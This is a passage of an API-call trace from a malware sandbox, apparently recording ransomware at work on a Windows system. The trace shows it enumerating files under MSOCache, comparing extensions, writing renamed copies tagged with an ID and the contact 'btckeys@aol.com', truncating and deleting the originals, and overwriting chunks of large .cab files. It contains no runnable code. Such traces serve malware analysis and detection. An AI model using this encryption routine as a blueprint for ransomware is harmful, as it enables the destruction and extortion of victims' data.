Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0078.003] lstrlenW (lpString=".dbf") returned 4 [0078.003] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0078.003] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0078.003] lstrlenW (lpString=".1cd") returned 4 [0078.003] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0078.003] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0078.003] lstrlenW (lpString=".jpg") returned 4 [0078.003] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0078.003] lstrcmpiW (lpString1=".xrm-ms", lpString2=".2020") returned 1 [0078.003] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0078.003] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0078.004] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=715834) returned 1 [0078.004] CloseHandle (hObject=0x1e4) returned 1 [0078.004] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0078.004] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0078.004] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0078.004] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0078.004] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0078.004] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0078.004] GetLastError () returned 0x0 [0078.004] ReadFile (in: hFile=0x1e4, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0078.222] WriteFile (in: hFile=0x204, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0078.230] ReadFile (in: hFile=0x1e4, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0078.230] WriteFile (in: hFile=0x204, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x104, lpOverlapped=0x0) returned 1 [0078.230] SetEndOfFile (hFile=0x204) returned 1 [0078.230] CloseHandle (hObject=0x204) returned 1 [0078.231] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0078.231] SetEndOfFile (hFile=0x1e4) returned 1 [0078.239] CloseHandle (hObject=0x1e4) returned 1 [0078.239] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0078.239] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0078.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0078.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0078.240] lstrlenW (lpString=".doc") returned 4 [0078.240] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0078.240] lstrlenW (lpString=".docx") returned 5 [0078.240] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0078.240] lstrlenW (lpString=".pdf") returned 4 [0078.240] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0078.240] lstrlenW (lpString=".xls") returned 4 [0078.240] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0078.240] lstrlenW (lpString=".xlsx") returned 5 [0078.240] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0078.240] lstrlenW (lpString=".ppt") returned 4 [0078.240] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0078.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0078.240] lstrlenW (lpString=".zip") returned 4 [0078.240] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0078.240] lstrlenW (lpString=".rar") returned 4 [0078.240] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0078.240] lstrlenW (lpString=".bz2") returned 4 [0078.240] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0078.240] lstrlenW (lpString=".7z") returned 3 [0078.240] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0078.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0078.240] lstrlenW (lpString=".dbf") returned 4 [0078.240] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0078.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0078.240] lstrlenW (lpString=".1cd") returned 4 [0078.240] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0078.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0078.240] lstrlenW (lpString=".jpg") returned 4 [0078.240] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0078.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0078.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0078.241] lstrlenW (lpString=".doc") returned 4 [0078.241] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0078.241] lstrlenW (lpString=".docx") returned 5 [0078.241] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0078.241] lstrlenW (lpString=".pdf") returned 4 [0078.241] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0078.241] lstrlenW (lpString=".xls") returned 4 [0078.241] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0078.241] lstrlenW (lpString=".xlsx") returned 5 [0078.241] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0078.241] lstrlenW (lpString=".ppt") returned 4 [0078.241] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0078.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0078.241] lstrlenW (lpString=".zip") returned 4 [0078.241] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0078.241] lstrlenW (lpString=".rar") returned 4 [0078.241] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0078.241] lstrlenW (lpString=".bz2") returned 4 [0078.241] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0078.241] lstrlenW (lpString=".7z") returned 3 [0078.241] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0078.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0078.241] lstrlenW (lpString=".dbf") returned 4 [0078.241] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0078.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0078.241] lstrlenW (lpString=".1cd") returned 4 [0078.241] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0078.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0078.241] lstrlenW (lpString=".jpg") returned 4 [0078.241] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0078.242] lstrcmpiW (lpString1=".cab", lpString2=".2020") returned 1 [0078.242] lstrlenW (lpString="ProPrWW.cab") returned 11 [0078.242] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0078.469] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=177720283) returned 1 [0078.469] CloseHandle (hObject=0x174) returned 1 [0078.469] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab")) returned 0x2020 [0078.469] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0078.469] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0078.470] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0078.470] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0x0) returned 1 [0078.470] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0078.470] ReadFile (in: hFile=0x174, lpBuffer=0x3960058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x3960058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0078.945] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0078.945] ReadFile (in: hFile=0x174, lpBuffer=0x39a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39a0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.032] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0079.032] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc2c | out: lpNewFilePointer=0x0) returned 1 [0079.032] ReadFile (in: hFile=0x174, lpBuffer=0x39e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39e0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0079.159] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0079.159] WriteFile (in: hFile=0x174, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2dafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0079.573] SetEndOfFile (hFile=0x174) returned 1 [0079.573] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f74fa0 [0079.577] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0079.577] WriteFile (in: hFile=0x174, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.665] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x387ee9e, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0079.665] WriteFile (in: hFile=0x174, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.666] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0xa93cbdb, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0079.666] WriteFile (in: hFile=0x174, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0079.669] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f74fa0 | out: hHeap=0x4b0000) returned 1 [0079.669] CloseHandle (hObject=0x174) returned 1 [0080.022] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0080.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0080.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0080.022] lstrlenW (lpString=".doc") returned 4 [0080.022] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0080.026] lstrlenW (lpString=".docx") returned 5 [0080.026] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0080.026] lstrlenW (lpString=".pdf") returned 4 [0080.026] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0080.026] lstrlenW (lpString=".xls") returned 4 [0080.026] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0080.035] lstrlenW (lpString=".xlsx") returned 5 [0080.035] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0080.035] lstrlenW (lpString=".ppt") returned 4 [0080.043] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0080.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0080.043] lstrlenW (lpString=".zip") returned 4 [0080.043] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0080.043] lstrlenW (lpString=".rar") returned 4 [0080.043] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0080.043] lstrlenW (lpString=".bz2") returned 4 [0080.043] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0080.043] lstrlenW (lpString=".7z") returned 3 [0080.043] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0080.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0080.043] lstrlenW (lpString=".dbf") returned 4 [0080.043] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0080.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0080.043] lstrlenW (lpString=".1cd") returned 4 [0080.043] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0080.043] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0080.044] lstrlenW (lpString=".jpg") returned 4 [0080.044] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0080.044] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0080.044] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0080.044] lstrlenW (lpString=".doc") returned 4 [0080.044] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0080.044] lstrlenW (lpString=".docx") returned 5 [0080.044] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0080.044] lstrlenW (lpString=".pdf") returned 4 [0080.044] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0080.044] lstrlenW (lpString=".xls") returned 4 [0080.044] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0080.044] lstrlenW (lpString=".xlsx") returned 5 [0080.044] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0080.044] lstrlenW (lpString=".ppt") returned 4 [0080.044] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0080.044] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0080.044] lstrlenW (lpString=".zip") returned 4 [0080.044] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0080.044] lstrlenW (lpString=".rar") returned 4 [0080.044] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0080.044] lstrlenW (lpString=".bz2") returned 4 [0080.044] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0080.044] lstrlenW (lpString=".7z") returned 3 [0080.044] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0080.044] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0080.044] lstrlenW (lpString=".dbf") returned 4 [0080.044] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0080.044] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0080.044] lstrlenW (lpString=".1cd") returned 4 [0080.045] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0080.045] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab") returned 74 [0080.046] lstrlenW (lpString=".jpg") returned 4 [0080.046] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0080.046] lstrcmpiW (lpString1=".xrm-ms", lpString2=".2020") returned 1 [0080.046] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0080.046] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0080.487] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=715834) returned 1 [0080.487] CloseHandle (hObject=0x168) returned 1 [0080.487] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0080.487] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0080.487] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0080.487] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0080.488] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0080.488] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0080.488] GetLastError () returned 0x0 [0080.488] ReadFile (in: hFile=0x168, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0080.854] WriteFile (in: hFile=0x1d8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0080.865] ReadFile (in: hFile=0x168, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0080.865] WriteFile (in: hFile=0x1d8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0x104, lpOverlapped=0x0) returned 1 [0080.865] SetEndOfFile (hFile=0x1d8) returned 1 [0080.865] CloseHandle (hObject=0x1d8) returned 1 [0080.866] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0080.866] SetEndOfFile (hFile=0x168) returned 1 [0081.120] CloseHandle (hObject=0x168) returned 1 [0081.120] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0081.121] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0081.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0081.121] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0081.121] lstrlenW (lpString=".doc") returned 4 [0081.121] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0081.121] lstrlenW (lpString=".docx") returned 5 [0081.121] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0081.121] lstrlenW (lpString=".pdf") returned 4 [0081.121] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0081.121] lstrlenW (lpString=".xls") returned 4 [0081.122] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0081.122] lstrlenW (lpString=".xlsx") returned 5 [0081.122] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0081.122] lstrlenW (lpString=".ppt") returned 4 [0081.122] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0081.122] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0081.122] lstrlenW (lpString=".zip") returned 4 [0081.122] 